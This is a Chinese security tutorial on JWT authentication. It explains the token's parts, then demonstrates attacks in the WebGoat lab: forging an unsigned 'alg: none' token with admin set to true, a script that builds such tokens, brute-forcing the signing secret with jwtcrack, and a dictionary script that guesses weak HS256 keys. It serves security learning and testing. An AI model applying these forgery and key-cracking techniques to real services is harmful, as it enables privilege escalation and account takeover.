JWT身份认证-安全漏洞

一、JWT介绍

JWT(JSON Web Token) 是WEB上用于确认客户端和服务端用户身份认证的token令牌,保存了用户的登录信息。用户登录,由服务端用加密算法对JWT进行签发,前端发送带有用户信的JWT由服务端校验(用户名、失效等信息),并将令牌保存在前端本地。

JWT官网默认的示例,令牌采用 base64 编码,并由三部分组成
在这里插入图片描述

1、头部(Header),JWT元数据的JSON对象
{
"alg":"HS256",       # 签名使用的算法
"typ":"JWT"			 # token的类型为JWT
}

2、声明(payload),主体内容部分,跟H5 body一样,不过JWT默认只有七个参数,根据实际需要自行填写
{
  "sub": "Admin::110110",
  "clientId": "1539805943529823283",
  "exp": 1851718216,
  "iat": 1851113416,
  "username": "Admin::110110"
}

iss:JWT签发人
exp:用户认证的失效时间(大于签发时间)
sub:主题
aud:用户
nbf:定义此时间之前,该JWT不可用
iat:JWT 签发时间
jti:JWT ID身份标识


3、签名(Signature)
签名是对上面两部分做哈希数据签名(指定算法),来确保数据不会被篡改,保证数据的完整性校验。
需要使用base64编码后的header和payload数据。此部分保存在服务端。

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  miyao      # 密钥值

<---示例:三个部分组成json的字符串,每个部分由 . 分割,创建JWT对象--->
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJTdXBlckFkbWluOjoxNDkxMzU0MDQ1MjUwNTQzNjE4IiwiY2xpZW50SWQiOiIxNTE5NTA1OTIzMTI5ODIzMjMzIiwiZXhwIjoxNjUxNzE4MjE3LCJpYXQiOjE2NTExMTM0MTcsInVzZXJuYW1lIjoiU3VwZXJBZG1pbjo6MTQ5MTM1NDA0NTI1MDU0MzYxOCJ9.IT14ZUV48s-VqzHurB3TZC-mX3mZ9OCBIFK7u-qAwVs



二、JWT安全漏洞

WebGoat 小靶场为演示,主要了解JWT的作用

《管理员盗用-重复投票》在这里插入图片描述
1、将数据包中的cookie复制到 jwt.io进行解码,看到有admin:false这个参数,就知道有逻辑绕过的可能。
在这里插入图片描述

2、修改以下admin为ture和alg为none

{
  "alg": "none"
}
编码后为 ewogICJhbGciOiAibm9uZSIKfQ==

{
  "iat": 1652417270,
  "admin": "true",
  "user": "Sylvester"
}
编码后为 eyJpYXQiOjE2NTI0MTcyNzAsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJTeWx2ZXN0ZXIifQ

"在HTTP传输过程中,Base64编码中的"=","+","/“等特殊符号通过URL解码通常容易产生歧义,在Base64 URL编码中,”+“会变成”-","/“会变成”_","="会被去掉,以此达到url safe的目的。
ewogICJhbGciOiAibm9uZSIKfQ.eyJpYXQiOjE2NTI0MTcyNzAsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJTeWx2ZXN0ZXIifQ.

3、结合burp转发,已成功投票
在这里插入图片描述

《jwt.io 解码小脚本》

import base64

def jwtBase64Encode(x):
    return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')

header = input("[*] 输入header部分的明文,放一行:")
payload = input("[*] 输入payload部分的明文,放一行:")
print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')

《jwtcrack 密钥爆破工具——字符序列穷举方式暴破》

[root@kali:/opt/c-jwt-cracker-master ]# docker build . -t jwtcrack
[root@kali:/opt/c-jwt-cracker-master ]# docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Secret is "Sn1f"

《python弱密钥脚本猜解——字典》

#!/usr/bin/python3
# -*- coding:utf-8 -*-
import jwt

jwt_json='eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTYxNTAyMTAzNiwiZXhwIjoxNjE1MDIyMjM2LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.x_ENVoZZRSDnjUqKHOAOYvTDrAtzfLw-_i02Qqry7so'

with open('jwt.secrets.list', encoding='utf-8') as f:
   for line in f:
       key = line.strip()
       try:
           jwt.decode(jwt_json, verify=True, key=key, algorithms='HS256')
           print('found key! --> ' +  key)
           break
       except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
           print('found key! --> ' +  key)
           break
       except(jwt.exceptions.InvalidSignatureError):
           print('verify key! -->' + key)
           continue
   else:
       print("key not found!")
	
脚本转载:https://www.jianshu.com/p/223b9112fc5e		
JWT弱签名-应用扫描

在这里插入图片描述
结合以上靶场的演示案例,利用解码工具查看数据,是否有铭感参数,对JWT令牌进行修改,如uid遍历,user伪造,alg空算法等方面验证。

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

学不完的代码篇章

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值